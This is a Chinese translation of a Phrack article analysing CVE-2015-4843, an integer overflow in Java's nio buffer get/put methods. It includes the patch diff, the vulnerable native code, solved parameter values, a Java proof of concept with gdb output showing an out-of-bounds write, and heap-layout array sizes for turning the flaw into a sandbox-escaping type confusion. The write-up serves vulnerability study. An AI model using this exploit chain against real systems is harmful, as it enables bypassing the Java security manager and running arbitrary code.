原文: http://phrack.org/papers/escaping_the_java_sandbox.html
在上一篇中,我们为读者详细介绍了基于类型混淆漏洞的沙箱逃逸技术。在本文中,我们将继续介绍整型溢出漏洞方面的知识。
当算术运算的结果太大从而导致变量的位数不够用时,就会发生整数溢出。在Java中,整数是使用32位表示的带符号数。正整数的取值范围从0x00000000(0)到0x7FFFFFFF(2 ^ 31-1)。负整数的取值范围为从0x80000000(-2 ^ 31)到0xFFFFFFFF(-1)。如果值0x7FFFFFFF(2 ^ 31-1)继续递增的话,则结果就不是2 ^ 31,而是(-2 ^ 31)了。那么,我们如何才能利用这个漏洞来禁用安全管理器呢?
在下一节中,我们将分析CVE-2015-4843[20]的整数溢出漏洞。很多时候,整数会用作数组中的索引。利用溢出漏洞,我们可以读取/写入数组之外的值。这些读/写原语可以用于实现类型混淆攻击。在上面的CVE-2017-3272的介绍中说过,安全分析人员可以通过这种攻击来禁用安全管理器。
Redhat公司的Bugzilla[19]对这个漏洞的进行了简短的介绍:在java.nio包中的Buffers类中发现了多个整数溢出漏洞,并且相关漏洞可用于执行任意代码。
漏洞补丁实际上修复的是文件java/nio/Direct-X-Buffer.java.template,它用于生成DirectXBufferY.java形式的类,其中X可以是“Byte”、“Char”、“Double”、“Int”、“Long”、“Float”或“Short”,Y可以是“S”、“U”、“RS”或“RU”。其中,“S”表示该数组存放的是带符号数,“U”表示无符号数,“RS”表示只读模式下的有符号数,而“RU”表示只读模式下的无符号数。每个生成的类_C_都会封装一个可以通过类_C_的方法进行操作的特定类型的数组。例如,DirectIntBufferS.java封装了一个32位有符号整型数组,并将方法get()和set()分别定义为将数组中的元素复制到DirectIntBufferS类的内部数组,或者将内部数组中的元素复制到该类外部的数组中。以下代码摘自该漏洞的补丁程序:
14: public $Type$Buffer put($type$[] src, int offset, int length) { 15: #if[rw] 16: - if ((length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 17: + if (((long)length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 18: checkBounds(offset, length, src.length); 19: int pos = position(); 20: int lim = limit(); 21: @@ -364,12 +364,16 @@ 22: 23: #if[!byte] 24: if (order() != ByteOrder.nativeOrder()) 25: - Bits.copyFrom$Memtype$Array(src, offset << $LG_BYTES_PER_VALUE$, 26: - ix(pos), length << $LG_BYTES_PER_VALUE$); 27: + Bits.copyFrom$Memtype$Array(src, 28: + (long)offset << $LG_BYTES_PER_VALUE$, 29: + ix(pos), 30: + (long)length << $LG_BYTES_PER_VALUE$); 31: else 32: #end[!byte] 33: - Bits.copyFromArray(src, arrayBaseOffset, offset << $LG_BYTES_PER_VALUE$, 34: - ix(pos), length << $LG_BYTES_PER_VALUE$); 35: + Bits.copyFromArray(src, arrayBaseOffset, 36: + (long)offset << $LG_BYTES_PER_VALUE$, 37: + ix(pos), 38: + (long)length << $LG_BYTES_PER_VALUE$); 39: position(pos + length);
修复工作(第17、28、36和38行)涉及在执行移位操作之前将32位整数转换为64位整数,这是因为在32位整数上完成该移位操作会导致整数溢出。下面是put()方法修订后的版本,这是从Java 1.8 update 65版本中的java.nio.DirectIntBufferS.java中提取的:
354: public IntBuffer put(int[] src, int offset, int length) { 355: 356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 357: checkBounds(offset, length, src.length); 358: int pos = position(); 359: int lim = limit(); 360: assert (pos <= lim); 361: int rem = (pos <= lim ? lim - pos : 0); 362: if (length > rem) 363: throw new BufferOverflowException(); 364: 365: 366: if (order() != ByteOrder.nativeOrder()) 367: Bits.copyFromIntArray(src, 368: (long)offset << 2, 369: ix(pos), 370: (long)length << 2); 371: else 372: 373: Bits.copyFromArray(src, arrayBaseOffset, 374: (long)offset << 2, 375: ix(pos), 376: (long)length << 2); 377: position(pos + length); 378: } else { 379: super.put(src, offset, length); 380: } 381: return this; 382: 383: 384: 385: }
该方法将src数组中指定的偏移量处的length元素复制到内部数组中。在第367行,将会调用方法Bits.copyFromIntArray()。这个Java方法的参数分别是源数组的引用、源数组的偏移量(以字节为单位)、目标数组的索引(以字节为单位)以及要复制的字节数。由于最后三个参数是用来表示大小和偏移量的(以字节为单位),因此,必须将它们的值乘以4(左移2位)。其中,这里进行移位操作的参数为offset(第374行)、pos(第375行)和length(第376行)。请注意,对于参数pos来说,移位操作是在ix()方法中进行的。
在易受攻击的版本中,并没有进行相应的强制类型转换,从而导致代码容易受到整数溢出漏洞的影响。
类似地,将元素从内部数组复制到外部数组的get()方法也很容易受到这种攻击的影响。其实,get()方法与put()方法非常相似,只是对copyFromIntArray()的调用被对copyToIntArray()的调用所取代而已:
262: public IntBuffer get(int[] dst, int offset, int length) { 263: [...] 275: Bits.copyToIntArray(ix(pos), dst, 276: (long)offset << 2, 277: (long)length << 2); [...] 291: }
由于方法get()和put()非常相似,因此,这里只介绍get()方法中整数溢出漏洞的利用方法。至于put()方法中的漏洞利用方法,大家可以照葫芦画瓢。
下面,我们先来看看在get()方法中调用的Bits.copyFromArray()方法,它实际上是一个原生方法,如下所示:
803: static native void copyToIntArray(long srcAddr, Object dst, 804: long dstPos, long length);
该方法的C代码如下所示。
175: JNIEXPORT void JNICALL 176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this, 177: jlong srcAddr, jobject dst, jlong dstPos, jlong length) 178: { 179: jbyte *bytes; 180: size_t size; 181: jint *srcInt, *dstInt, *endInt; 182: jint tmpInt; 183: 184: srcInt = (jint *)jlong_to_ptr(srcAddr); 185: 186: while (length > 0) { 187: /* do not change this code, see WARNING above */ 188: if (length > MBYTE) 189: size = MBYTE; 190: else 191: size = (size_t)length; 192: 193: GETCRITICAL(bytes, env, dst); 194: 195: dstInt = (jint *)(bytes + dstPos); 196: endInt = srcInt + (size / sizeof(jint)); 197: while (srcInt < endInt) { 198: tmpInt = *srcInt++; 199: *dstInt++ = SWAPINT(tmpInt); 200: } 201: 202: RELEASECRITICAL(bytes, env, dst, 0); 203: 204: length -= size; 205: srcAddr += size; 206: dstPos += size; 207: } 208: }
可以看到,这里并没有对数组索引进行相应的检查。也就是说,即使索引小于零,或大于或等于数组大小,代码也照常运行。
在代码中,首先将long类型转换为32位整型指针(第184行)。然后,代码进入循环,直到length/size元素被复制时为止(第186和204行)。对GETCRITICAL()和RELEASECRITICAL()(第193和202行)的调用,目的是对dst数组的访问进行同步,因此,它们与数组索引的检查无关。
为了执行这些本机代码,必须满足Java方法get()中的三个条件:
356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
357: checkBounds(offset, length, src.length);
362: if (length > rem)
注意,这里没有提及第360行中的断言,因为,它只检查是否在VM中设置了“-ea”(启用断言)选项。实际上,该选项在生产环境中几乎从未使用过,因为它会拖速度的后腿。
在第一个条件中,JNI_COPY_FROM_ARRAY_THRESHOLD表示一个阈值,即使用本机代码复制元素时,最低的元素数量。Oracle根据经验确定,这个阀值取6比较合适。为了满足这个条件,要复制的元素数必须大于1(6 >> 2)。
第二个条件出现在checkBounds()方法中:
564: static void checkBounds(int off, int len, int size) { 566: if ((off | len | (off + len) | (size - (off + len))) < 0) 567: throw new IndexOutOfBoundsException(); 568: }
第二个条件可以表示为:
1: offset > 0 AND length > 0 AND (offset + length) > 0 2: AND (dst.length - (offset + length)) > 0.
第三个条件会检查剩余的元素数量是否小于或等于要复制的元素数:
length < lim - pos
为简化起见,我们假设该数组索引的当前值为0。这样的话,这个条件变为:
length < lim
这等价于:
length < dst.length
满足这些条件的解为:
dst.length = 1209098507 offset = 1073741764 length = 2
使用这个解的话,所有条件都能得到满足,并且由于存在整数溢出漏洞,我们可以从负索引-240(1073741764 << 2)处读取8个字节(2 * 4)。这样,我们就获得了一个读取原语,可以用于读取dst数组之前的字节内容。对于get()方法来说,我们可以如法炮制,从而得到一个能够在dst数组之前写入字节的原语。
我们可以编写一个用来检验上述分析是否正确的PoC,并在易受攻击的JVM版本(例如Java 1.8 update 60)上运行它。
1: public class Test { 2: 3: public static void main(String[] args) { 4: int[] dst = new int[1209098507]; 5: 6: for (int i = 0; i < dst.length; i++) { 7: dst[i] = 0xAAAAAAAA; 8: } 9: 10: int bytes = 400; 11: ByteBuffer bb = ByteBuffer.allocateDirect(bytes); 12: IntBuffer ib = bb.asIntBuffer(); 13: 14: for (int i = 0; i < ib.limit(); i++) { 15: ib.put(i, 0xBBBBBBBB); 16: } 17: 18: int offset = 1073741764; // offset << 2 = -240 19: int length = 2; 20: 21: ib.get(dst, offset, length); // breakpoint here 22: } 23: 24: }
上面的代码会创建一个大小为1209098507(第4行)的数组,并将其全部元素初始化为0xAAAAAAAA(第6-8行)。然后,会创建一个IntBuffer类型的实例ib,并将其内部数组的全部元素(整型)都初始化为0xBBBBBBBB(第10-16行)。最后,调用get()方法,从ib的内部数组向dst复制2个元素,并且偏移量为-240(第18-21行)。实际上,执行上述代码并不会导致VM崩溃。而且,我们注意到,在调用get方法 之后,并没有改变dst数组的元素。这意味着来自ib内部数组的2个元素已被复制到dst数组之外。我们可以在第21行设置断点,然后在运行JVM的进程上启动gdb来验证这一点。在Java代码中,我们可以使用sun.misc.Unsafe来计算出dst数组的地址,即0x20000000。
$ gdb -p 1234 [...] (gdb) x/10x 0x200000000 0x200000000: 0x00000001 0x00000000 0x3f5c025e 0x4811610b 0x200000010: 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0xaaaaaaaa 0x200000020: 0xaaaaaaaa 0xaaaaaaaa (gdb) x/10x 0x200000000-240 0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff20: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff30: 0x00000000 0x00000000
借助于gdb,我们可以看到dst数组的元素已按预期初始化为0xAAAAAAAA。需要注意的是,这个数组的元素不是直接从0xAAAAAAAA处开始的,相反,这里是一个16字节的头部,其中存放数组的大小(0x4811610b = 1209098507)。现在,在数组之前的240个字节没有存放任何内容,即全部是null字节。接下来,让我们运行Java的get方法,并再次使用gdb来检查内存状态:
(gdb) c Continuing. ^C Thread 1 "java" received signal SIGINT, Interrupt. 0x00007fb208ac86cd in pthread_join (threadid=140402604672768, thread_return=0x7ffec40d4860) at pthread_join.c:90 90 in pthread_join.c (gdb) x/10x 0x200000000-240 0x1ffffff10: 0x00000000 0x00000000 0x00000000 0x00000000 0x1ffffff20: 0xbbbbbbbb 0xbbbbbbbb 0x00000000 0x00000000 0x1ffffff30: 0x00000000 0x00000000
从ib的内部数组复制到dst数组的两个元素的副本的确“起作用了”:它们被复制到了dst数组的第一个元素之前的240个字节的内存中。由于某种原因,程序并没有崩溃。通过检查进程的内存布局,发现在0x20000000地址之前有一个内存区域,其权限为rwx:
$ pmap 1234 [...] 00000001fc2c0000 62720K rwx-- [ anon ] 0000000200000000 5062656K rwx-- [ anon ] 0000000335000000 11714560K rwx-- [ anon ] [...]
如下所述,对于Java来说,类型混淆漏洞就是完全绕过沙箱的同义词。漏洞CVE-2017-3272的思路就是使用读写原语来进行类型混淆漏洞攻击。我们的目标是在内存中建立以下布局:
B[] |0|1|............|k|......|l| A[] |0|1|2|....|i|................|m| int[] |0|..................|j|....|n|
其中,元素类型为_B_的数组恰好位于元素类型为_A_的数组之前,而元素类型为_A_的数组恰好位于_IntBuffer_对象的内部数组之前。所以,我们的第一步就是使用读取原语,将索引i处类型为_A_的元素的地址复制内部整型数组中索引为j的元素中。第二步是将内部数组中索引j处的引用复制到索引k处_B_类型的元素。完成这两个步骤后,JVM会认为索引k处的元素是_B_类型,但它实际上是一个_A_类型的元素。
处理堆的代码非常复杂,并且对于不同的VM或版本,可能要进行相应的修改(Hotspot,JRockit等)。我们已经找到了一个稳定的组合,对于50个不同版本的JVM来说,所有三个数组都是彼此相邻的,这些数组的大小为:
l = 429496729 m = l n = 858993458
我们已经在Java 1.6、1.7和1.8的所有公开可用版本上对这个漏洞进行了测试。结果表明,共有51个版本容易受到这个漏洞的影响,其中包括1.6的18个版本(从1.6_23到1.6_45),1.7的28个版本(从1.7到1.7_0到1.7_80),1.8的5个版本(从1.8到1.8_05到1.8_60)。
关于这个漏洞的修复方法,我们已经介绍过了:在执行移位操作之前,首先对32位整数进行类型转换,这样的话,就能够有效地防止整数溢出漏洞了。
在本文中,我们将继续介绍整型溢出漏洞方面的知识。在接下来的文章中,我们将继续为读者奉献更多精彩的内容,敬请期待!
本文转载自:先知社区